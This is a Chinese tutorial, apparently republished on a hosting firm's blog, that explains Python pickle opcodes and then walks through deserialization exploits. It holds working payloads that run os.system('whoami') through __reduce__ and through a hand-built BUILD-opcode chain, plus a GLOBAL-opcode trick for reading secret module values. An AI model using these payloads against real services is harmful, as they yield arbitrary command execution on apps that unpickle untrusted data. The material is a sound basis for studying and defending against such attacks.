这篇文章主要讲解了“Python中pickle反序列化的详细介绍”，文中的讲解内容简单清晰，易于学习与理解，下面请大家跟着小编的思路慢慢深入，一起来研究和学习“Python中pickle反序列化的详细介绍”吧！

成都创新互联公司是创新、创意、研发型一体的综合型网站建设公司，自成立以来公司不断探索创新，始终坚持为客户提供满意周到的服务，在本地打下了良好的口碑，在过去的十载时间我们累计服务了上千家以及全国政企客户，如成都服务器租用等企业单位，完善的项目管理流程，严格把控项目进度与质量监控加上过硬的技术实力获得客户的一致赞誉。

什么是Python反序列化

python反序列化和php反序列化类似（还没接触过java。。），相当于把程序运行时产生的变量，字典，对象实例等变换成字符串形式存储起来，以便后续调用，恢复保存前的状态

python中反序列化的库主要有两个，pickle和cPickle，这俩除了运行效率上有区别外，其他没啥区别

pickle的常用方法有

import pickle

a_list = ['a','b','c']

# pickle构造出的字符串，有很多个版本。在dumps或loads时，可以用Protocol参数指定协议版本，例如指定为0号版本
# 目前这些协议有0,2,3,4号版本，默认为3号版本。这所有版本中，0号版本是人类最可读的；之后的版本加入了一大堆不可打印字符，不过这些新加的东西都只是为了优化，本质上没有太大的改动。
# 一个好消息是，pickle协议是向前兼容的。0号版本的字符串可以直接交给pickle.loads()，不用担心引发什么意外。
# pickle.dumps将对象反序列化为字符串
# pickle.dump将反序列化后的字符串存储为文件
print(pickle.dumps(a_list,protocol=0))

pickle.loads() #对象反序列化
pickle.load() #对象反序列化，从文件中读取数据

输出反序列化

读入反序列化

可以看出，python2和python3之间反序列化的结果有些许差别，我们先以目前的支持版本python3为主要对象，在后期给出exp的时候再补上python2

python3大多版本中反序列化的字符串默认版本为3号版本，我这里python3.8的默认版本为4

v0 版协议是原始的 “人类可读” 协议，并且向后兼容早期版本的 Python。
v1 版协议是较早的二进制格式，它也与早期版本的 Python 兼容。
v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进，请参阅 PEP 307。
v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持，且无法被 Python 2.x 打开。这是目前默认使用的协议，也是在要求与其他 Python 3 版本兼容时的推荐协议。
v4 版协议添加于 Python 3.4。它支持存储非常大的对象，能存储更多种类的对象，还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息，请参阅 PEP 3154。

为了便于分析和兼容，我们统一使用3号版本

C:\Users\Rayi\Desktop\Tmp\Script
λ python 1.py
b'(lp0\nVa\np1\naVb\np2\naVc\np3\na.' #0号
b'\x80\x03]q\x00(X\x01\x00\x00\x00aq\x01X\x01\x00\x00\x00bq\x02X\x01\x00\x00\x00cq\x03e.' #3号
b'\x80\x04\x95\x11\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x01a\x94\x8c\x01b\x94\x8c\x01c\x94e.'#4号

反序列化流程分析

在挖掘反序列化漏洞之前，我们需要了解python反序列化的流程是怎样的

直接分析反序列化出的字符串是比较困难的，我们可以使用pickletools帮助我们进行分析

import pickle
import pickletools

a_list = ['a','b','c']

a_list_pickle = pickle.dumps(a_list,protocol=0)
print(a_list_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_list_pickle)
print(a_list_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_list_pickle)

指令集如下：（更具体的解析可以查看pickletools.py)

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding
TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

依照上面的表格，这一个序列化的例子就很好理解了

b'\x80\x03](X\x01\x00\x00\x00aX\x01\x00\x00\x00bX\x01\x00\x00\x00ce.'
    0: \x80 PROTO      3	#标明使用协议版本
    2: ]    EMPTY_LIST	#将空列表压入栈
    3: (    MARK	#将标志压入栈
    4: X        BINUNICODE 'a'	#unicode字符
   10: X        BINUNICODE 'b'
   16: X        BINUNICODE 'c'
   22: e        APPENDS    (MARK at 3)	#将3号标志后的数据压入列表
   # 弹出栈中的数据，结束流程
   23: .    STOP
highest protocol among opcodes = 2

我们再来看另一个更复杂的例子

import pickle
import pickletools
import base64

class a_class():
    def __init__(self):
        self.age = 114514
        self.name = "QAQ"
        self.list = ["1919","810","qwq"]
a_class_new = a_class()
a_class_pickle = pickle.dumps(a_class_new,protocol=3)
print(a_class_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_class_pickle)
print(a_class_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_class_pickle)

b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.'
b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.'
    0: \x80 PROTO      3
    # push self.find_class(modname, name); 连续读取两个字符串作为参数，以\n为界
    # 这里就是self.find_class(‘__main__’, ‘a_class’);
    # 需要注意的版本不同，find_class函数也不同
    2: c    GLOBAL     '__main__ a_class'	
    # 不影响反序列化
   20: q    BINPUT     0
   # 向栈中压入一个元组
   22: )    EMPTY_TUPLE
   # 见pickletools源码第2097行（注意版本）
   # 大意为，该指令之前的栈内容应该为一个类（2行GLOBAL创建的类），类后为一个元组（22行压入的TUPLE），调用cls.__new__(cls, *args)（即用元组中的参数创建一个实例，这里元组实际为空）
   23: \x81 NEWOBJ
   24: q    BINPUT     1
   # 压入一个新的字典
   26: }    EMPTY_DICT
   27: q    BINPUT     2
   # 一个标志
   29: (    MARK
   # 压入unicode值
   30: X        BINUNICODE 'age'
   38: q        BINPUT     3
   40: J        BININT     114514
   45: X        BINUNICODE 'name'
   54: q        BINPUT     4
   56: X        BINUNICODE 'QAQ'
   64: q        BINPUT     5
   66: X        BINUNICODE 'list'
   75: q        BINPUT     6
   77: ]        EMPTY_LIST
   78: q        BINPUT     7
   # 又一个标志
   80: (        MARK
   81: X            BINUNICODE '1919'
   90: q            BINPUT     8
   92: X            BINUNICODE '810'
  100: q            BINPUT     9
  102: X            BINUNICODE 'qwq'
  110: q            BINPUT     10
  # 将第80行的mark之后的值压入第77行的列表
  112: e            APPENDS    (MARK at 80)
  # 详情见pickletools源码第1674行（注意版本）
  # 大意为将任意数量的键值对添加到现有字典中
  # Stack before:  ... pydict markobject key_1 value_1 ... key_n value_n
  # Stack after:   ... pydict
  113: u        SETITEMS   (MARK at 29)
  # 通过__setstate__或更新__dict__完成构建对象（对象为我们在23行创建的）。
  # 如果对象具有__setstate__方法，则调用anyobject .__setstate__（参数）
  # 如果无__setstate__方法，则通过anyobject.__dict__.update(argument)更新值
  # 注意这里可能会产生变量覆盖
  114: b    BUILD
  # 弹出栈中的数据，结束流程
  115: .    STOP
highest protocol among opcodes = 2

这样另一个更复杂的例子就分析完成了

我们现在能大体了解序列化与反序列化的流程

漏洞分析

RCE：常用的__reduce__

ctf中大多数常见的pickle反序列化，利用方法大都是__reduce__

触发__reduce__的指令码为R

# pickletools.py 1955行
name='REDUCE',
      code='R',
      arg=None,
      stack_before=[anyobject, anyobject],
      stack_after=[anyobject],
      proto=0,
      doc="""Push an object built from a callable and an argument tuple.

      The opcode is named to remind of the __reduce__() method.

      Stack before: ... callable pytuple
      Stack after:  ... callable(*pytuple)

      The callable and the argument tuple are the first two items returned
      by a __reduce__ method.  Applying the callable to the argtuple is
      supposed to reproduce the original object, or at least get it started.
      If the __reduce__ method returns a 3-tuple, the last component is an
      argument to be passed to the object's __setstate__, and then the REDUCE
      opcode is followed by code to create setstate's argument, and then a
      BUILD opcode to apply  __setstate__ to that argument.

      If not isinstance(callable, type), REDUCE complains unless the
      callable has been registered with the copyreg module's
      safe_constructors dict, or the callable has a magic
      '__safe_for_unpickling__' attribute with a true value.  I'm not sure
      why it does this, but I've sure seen this complaint often enough when
      I didn't want to .
      """

大意为：

取当前栈的栈顶记为args，然后把它弹掉。

取当前栈的栈顶记为f，然后把它弹掉。

以args为参数，执行函数f，把结果压进当前栈。

只要在序列化中的字符串中存在R指令，__reduce__方法就会被执行，无论正常程序中是否写明了__reduce__方法

例如：

import pickle
import pickletools
import base64

class a_class():
	def __init__(self):
		self.age = 114514
		self.name = "QAQ"
		self.list = ["1919","810","qwq"]
	def __reduce__(self):
		return (__import__('os').system, ("whoami",))
		
a_class_new = a_class()
a_class_pickle = pickle.dumps(a_class_new,protocol=3)
print(a_class_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_class_pickle)
print(a_class_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_class_pickle)

'''
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
    0: \x80 PROTO      3
    2: c    GLOBAL     'nt system'
   13: q    BINPUT     0
   15: X    BINUNICODE 'whoami'
   26: q    BINPUT     1
   28: \x85 TUPLE1
   29: q    BINPUT     2
   31: R    REDUCE
   32: q    BINPUT     3
   34: .    STOP
highest protocol among opcodes = 2
'''

把生成的payload拿到无__reduce__的正常程序中，命令仍然会被执行

记得生成payload时使用的python版本尽量与目标上的版本一致

#coding=utf-8
import pickle
import urllib.request
#python2
#import urllib
import base64

class rayi(object):
	def __reduce__(self):
		# 未导入os模块，通用
		return (__import__('os').system, ("whoami",))
		# return eval,("__import__('os').system('whoami')",)
		# return map, (__import__('os').system, ('whoami',))
		# return map, (__import__('os').system, ['whoami'])
 
		# 导入os模块
		# return (os.system, ('whoami',))
		# return eval, ("os.system('whoami')",)
		# return map, (os.system, ('whoami',))
		# return map, (os.system, ['whoami'])
 
a_class = rayi()
result = pickle.dumps(a_class)
print(result)
print(base64.b64encode(result))
#python3
print(urllib.request.quote(result))
#python2
#print urllib.quote(result)

全局变量包含覆盖：c指令码

前两个例子开头都有c指令码

name='GLOBAL',
      code='c',
      arg=stringnl_noescape_pair,
      stack_before=[],
      stack_after=[anyobject],
      proto=0,
      doc="""Push a global object (module.attr) on the stack.

      Two newline-terminated strings follow the GLOBAL opcode.  The first is
      taken as a module name, and the second as a class name.  The class
      object module.class is pushed on the stack.  More accurately, the
      object returned by self.find_class(module, class) is pushed on the
      stack, so unpickling subclasses can override this form of lookup.
      """

简单来说，c指令码可以用来调用全局的xxx.xxx的值

看下面的例子

import secret
import pickle
import pickletools

class flag():
    def __init__(self,a,b):
        self.a = a
        self.b = b
# new_flag = pickle.dumps(flag('A','B'),protocol=3)
# print(new_flag)
# pickletools.dis(new_flag)

your_payload = b'?'
other_flag = pickle.loads(your_payload)
secret_flag = flag(secret.a,secret.b)

if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b:
    print('flag{xxxxxx}')
else:
    print('No!')

# secret.py
# you can not see this
a = 'aaaa'
b = 'bbbb'

在我们不知道secret.py中值的情况下，如何构造满足条件的payload，拿到flag呢？

利用c指令：

这是一般情况下的flag类

λ python app.py
b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ flag'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: (    MARK
   27: X        BINUNICODE 'a'
   33: q        BINPUT     3
   35: X        BINUNICODE 'A'
   41: q        BINPUT     4
   43: X        BINUNICODE 'b'
   49: q        BINPUT     5
   51: X        BINUNICODE 'B'
   57: q        BINPUT     6
   59: u        SETITEMS   (MARK at 26)
   60: b    BUILD
   61: .    STOP
highest protocol among opcodes = 2

第27行和第37行分别进行了传参，如果我们手动把payload修改一下，将a和b的值改为secret.a，secret.b

原来的：b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.'
现在的：
b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03csecret\na\nq\x04X\x01\x00\x00\x00bq\x05csecret\nb\nq\x06ub.'

我们成功的调用了secret.py中的变量

RCE：BUILD指令

还记得刚才说过的build指令码吗

name='BUILD',
      code='b',
      arg=None,
      stack_before=[anyobject, anyobject],
      stack_after=[anyobject],
      proto=0,
      doc="""Finish building an object, via __setstate__ or dict update.

      Stack before: ... anyobject argument
      Stack after:  ... anyobject

      where anyobject may have been mutated, as follows:

      If the object has a __setstate__ method,

          anyobject.__setstate__(argument)

      is called.

      Else the argument must be a dict, the object must have a __dict__, and
      the object is updated via

          anyobject.__dict__.update(argument)

通过BUILD指令与C指令的结合，我们可以把改写为os.system或其他函数

假设某个类原先没有__setstate__方法，我们可以利用{'__setstate__': os.system}来BUILE这个对象

BUILD指令执行时，因为没有__setstate__方法，所以就执行update，这个对象的__setstate__方法就改为了我们指定的os.system

接下来利用"ls /"来再次BUILD这个对象，则会执行setstate("ls /")，而此时__setstate__已经被我们设置为os.system，因此实现了RCE.

看一看具体如何实现的：

还是以flag类为例

import pickle
import pickletools

class flag():
    def __init__(self):
        pass
new_flag = pickle.dumps(flag(),protocol=3)
print(new_flag)
pickletools.dis(new_flag)

# your_payload = b'?'
# other_flag = pickle.loads(your_payload)

λ python app.py
b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01.'
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ flag'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: .    STOP
highest protocol among opcodes = 2

接下来需要我们手撕payload了

根据BUILD的说明，我们需要构造一个字典

b'\x80\x03c__main__\nflag\nq\x00)\x81}.'

接下来往字典里放值，先放一个mark

b'\x80\x03c__main__\nflag\nq\x00)\x81}(.'

放键值对

b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nu.'

第一次BUILD

b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nub.'

放参数

b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\n.'

第二次BUILD

b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'

完成

我们来试一下

成了，我们在不使用R指令的情况下完成了RCE

rayi-de-shenchu\rayi
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ flag'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: }    EMPTY_DICT
   22: (    MARK
   23: V        UNICODE    '__setstate__'
   37: c        GLOBAL     'os system'
   48: u        SETITEMS   (MARK at 22)
   49: b    BUILD
   50: V    UNICODE    'whoami'
   58: b    BUILD
   59: .    STOP
highest protocol among opcodes = 2
[Finished in 0.2s]

python2 区别不是很大：

import pickle
import pickletools
import urllib

class rayi():
    def __init__(self):
        pass
new_rayi = pickle.dumps(rayi(),protocol=2)
print(urllib.quote(new_rayi))
pickletools.dis(new_rayi)

# your_payload = '\x80\x03c__main__\nrayi\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'
# other_rayi = pickle.loads(your_payload)
# pickletools.dis(your_payload)

输出：

%80%02%28c__main__%0Arayi%0Aq%00oq%01%7Dq%02b.
    0: \x80 PROTO      2
    2: (    MARK
    3: c        GLOBAL     '__main__ rayi'
   18: q        BINPUT     0
   20: o        OBJ        (MARK at 2)
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: b    BUILD
   27: .    STOP
highest protocol among opcodes = 2
[Finished in 0.1s]

修改payload：

%80%02%28c__main__%0Arayi%0Aq%00oq%01%7Dq%02(V__setstate__\ncos\nsystem\nubVwhoami\nb.

import pickle
import pickletools
import urllib

class rayi():
    def __init__(self):
        pass
# new_rayi = pickle.dumps(rayi(),protocol=2)
# print(urllib.quote(new_rayi))
# pickletools.dis(new_rayi)

your_payload = urllib.unquote('%80%02%28c__main__%0Arayi%0Aq%00oq%01%7Dq%02(V__setstate__\ncos\nsystem\nubVwhoami\nb.')
other_rayi = pickle.loads(your_payload)
pickletools.dis(your_payload)

感谢各位的阅读，以上就是“Python中pickle反序列化的详细介绍”的内容了，经过本文的学习后，相信大家对Python中pickle反序列化的详细介绍这一问题有了更深刻的体会，具体使用情况还需要大家实践验证。这里是创新互联，小编将为大家推送更多相关知识点的文章，欢迎关注！

本文标题：Python中pickle反序列化的详细介绍
URL网址：http://ybzwz.com/article/pjcpdj.html